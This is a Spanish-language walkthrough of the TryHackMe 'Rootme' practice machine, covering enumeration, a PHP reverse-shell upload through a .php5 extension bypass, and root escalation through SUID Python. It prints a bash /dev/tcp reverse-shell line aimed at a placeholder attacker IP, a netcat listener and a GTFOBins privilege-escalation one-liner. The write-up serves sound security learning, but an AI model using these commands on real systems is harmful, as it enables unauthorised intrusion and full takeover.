Rootme

¡Hola!

En este writeup vamos a resolver la máquina Rootme de TryHackMe, una máquina de nivel de dificultad fácil. La podéis encontrar en el siguiente enlace:

Reconocimiento

Comprobamos que la máquina está activa y tenemos acceso a ella ejecutando un ping:

ping -c 1 <IP_máquina>

Y... ¡empezamos!

Empezamos con la enumeración de puertos abiertos y la versión y servicios que corren sobre estos puertos, para ello ejecutamos nmap con los siguientes parámetros para optimizar el rastreo:

nmap -sC -sV -p- --min-rate 5000 -n -Pn <IP_máquina>

Nos encontramos con los puertos 22 y 80 abiertos, el primero corresponde al servicio SSH y el segundo a HTTP. Como por el momento no tenemos credenciales de ningún tipo para acceder por SSH vamos a echarle un vistazo al servicio web que está corriendo en el sistema. Nos encontramos con algo como esto:

Parece que no hay ningún tipo de posibilidad de interacción con la página web, ni siquiera si visualizamos su código fuente encontramos ninguna pista ni nada parecido... Parece que toca hacer algo de fuzzing para encontrar posibles rutas. Como el propio walkthrough de TryHackMe sugiere, en esta ocasión vamos a utilizar Gobuster:

gobuster dir -u <IP> -w <Ruta_diccionario>

Explotación

Encontramos dos directorios que pueden llamar la atención, uploads y panel. Vamos a echarle un vistazo al segundo:

¡Vaya! Un panel que nos da la posibilidad de subir archivos, ¿vamos a saco e intentamos subir una reverse-shell?

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/<IP_Atacante>/<Puerto> 0>&1'");

Y...

Parece que no se permite la subida de archivos PHP (y por algún motivo nos lo dice en perfecto portugués 🙄). Tendremos que buscar alguna forma de burlar esta limitación. De las muchísimas formas que existen para hacer bypass de este filtro una de ellas es simplemente renombrar el archivo a ".php5".

Upload file bypass | reverse-shell.php -> revershe-shell.php5

¡Y coló!

Ahora que tenemos nuestra reverse shell subida, recordemos que durante el fuzzing descubrimos una ruta llamada uploads, ¿estará ahí?

¡Efectivamente!

Ponemos Netcat en escucha:

nc -lvp <Puerto>

Y ejecutamos nuestra reverse shell simplemente haciendo sobre el archivo subido y... ¡estamos dentro!

Actualmente tenemos una shell de bajos privilegios como el usuario www-data, de esta forma podemos leer la flag de usuario que se encuentra bajo la ruta /var/www/user.txt

Post-Explotación

Toca escalar privilegios para poder leer la flag de root y finalizar la máquina. Para ello, lo que vamos a hacer es buscar ficheros con permisos SUID. Los permisos SUID otorgan la posibidad de ejecutar programas bajo los privilegios del propietario de este y no del usuario actual, lo cual puede permitirnos ejecutar algunos ficheros como root. Para encontrar programas con permisos SUID utilizamos el siguiente comando:

find / -user root -perm /4000 2>/dev/null

De todos los ejecutables que nos muestran, el que más nos interesa es Python (determinar cuál puede ser potencialmente vulnerable y cuál no nos lo da la experiencia).

Ok, tenemos Python con permisos SUID, vamos a echar un vistazo en GTFOBins.

Y solo con ejecutar el segundo comando (sin la ruta relativa ./) que nos sugiere GTFOBins...

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

¡Bam! Conseguimos una shell de altos privilegios como root 😎

Y con esto ya podemos visualizar la flag de root que se encuentra bajo la ruta /root/.

⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯

Espero que este Writeup te haya sido de utilidad, si tienes alguna duda, sugerencia o simplemente te interesa este tipo de contenido no dudes en seguirme a través de cualquiera de mis redes sociales:

📝 LinkedIn ⮞ https://www.linkedin.com/in/david-rodriguez-ramos/ ▶️ YouTube ⮞ https://www.youtube.com/c/xerosec 🐦 Twitter ⮞ https://twitter.com/xerosec 🔴 Twitch ⮞ https://www.twitch.tv/xerosec 💬 Discord ⮞ https://discord.gg/E4AjK2XsFm

¡Gracias por llegar hasta aquí!

Última actualización